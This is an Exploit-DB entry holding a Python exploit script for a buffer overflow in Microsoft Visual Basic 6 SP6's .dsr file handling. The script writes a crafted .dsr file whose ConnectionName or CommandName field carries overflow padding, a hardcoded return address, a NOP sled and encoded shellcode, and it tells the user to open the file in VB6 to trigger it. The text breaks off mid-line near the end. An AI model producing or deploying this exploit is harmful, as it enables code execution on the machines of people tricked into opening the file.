Exploit-DB #4938
Description: Microsoft Visual Basic Enterprise 6 SP6 - '.dsr' File Handling Buffer Overflow
Type: local
Platform: windows
Date: 2008-01-18
Author: shinnai

Exploit:
#usage: exploit.py

import time

print "---------------------------------------------------------------------------"
print ' MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling Buffer Overflow\n'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Once you create the file, open it with Visual Basic 6 and click on"
print " connection or command name."
print "---------------------------------------------------------------------------"

EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll

nop = "\x90\x90\x90\x90"

shellcode = \
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"

try:
    choice = int(raw_input('Choose 1 for "ConnectionName", 2 for "CommandName" bof or '+\
                           '3 to quit:\n==> '))
    if choice == 1:
        buff = 'Connection1' + " " * 559 + EIP + "A" * 12 + nop + shellcode + nop
        try:
            vb_dsr = \
                   'VERSION 5.00\n'+\
                   'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
                   '   ClientHeight    =   6315\n'+\
                   '   ClientLeft      =   0'+\
                   '   ClientTop       =   0\n'+\
                   '   ClientWidth     =   7935\n'+\
                   '   _ExtentX        =   13996\n'+\
                   '   _ExtentY        =   11139\n'+\
                   '   FolderFlags     =   1\n'+\
                   '   TypeInfoCookie  =   0\n'+\
                   '   Version         =   4\n'+\
                   '   NumConnections  =   1\n'+\
                   '   BeginProperty Connection1\n'+\
                   '      ConnectionName  =   "' + buff + '"\n'+\
                   '      ConnDispId      =   1001\n'+\
                   '      SourceOfData    =   3\n'+\
                   '      QuoteChar       =   34\n'+\
                   '      SeparatorChar   =   46\n'+\
                   '   EndProperty\n'+\
                   '   NumRecordsets   =   0\n'+\
                   'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
            out_file = open('ConnectionName.dsr','w')
            out_file.write(vb_dsr)
            out_file.close()
            print "FILE CREATED!"
        except:
            print "Something wrong in file creation!"
    if choice == 2:
        buff = 'Command1' + " " * 566 + EIP + "A" * 12 + nop + shellcode + nop
        try:
            vb_dsr = \
                   'VERSION 5.00\n'+\
                   'Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n'+\
                   '   ClientHeight    =   6315\n'+\
                   '   ClientLeft      =   0'+\
                   '   ClientTop       =   0\n'+\
                   '   ClientWidth     =   7935\n'+\
                   '   _ExtentX        =   13996\n'+\
                   '   _ExtentY        =   11139\n'+\
                   '   FolderFlags     =   1\n'+\
                   '   TypeInfoCookie  =   0\n'+\
                   '   Version         =   4\n'+\
                   '   NumConnections  =   1\n'+\
                   '   BeginProperty Connection1\n'+\
                   '      ConnectionName  =   "Connection1"\n'+\
                   '      ConnDispId      =   1001\n'+\
                   '      SourceOfData    =   3\n'+\
                   '      QuoteChar       =   34\n'+\
                   '      SeparatorChar   =   46\n'+\
                   '   EndProperty\n'+\
                   '   NumRecordsets   =   1\n'+\
                   '   BeginProperty Recordset1\n'+\
                   '      CommandName     =   "' + buff + '"\n'+\
                   '      CommDispId      =   1002\n'+\
                   '      RsDispId        =   -1\n'+\
                   '      ActiveConnectionName=   "Connection1"\n'+\
                   '      NumFields       =   0\n'+\
                   '      NumGroups       =   0\n'+\
                   '      ParamCount      =   0\n'+\
                   '      RelationCount   =   0\n'+\
                   '      AggregateCount  =   0\n'+\
                   '   EndProperty\n'+\
                   'End' + "\x0D\x0A" #"\x0D\x0A" ==> EOF
            out_file = open('CommandName.dsr','w')
            out_file.write(vb_dsr)
            out_file.close()
            print "FILE CREATED!"
        except:
            print "Something wrong in file creation!"
    if choice == 3:
        print "Be safe!"
    if choic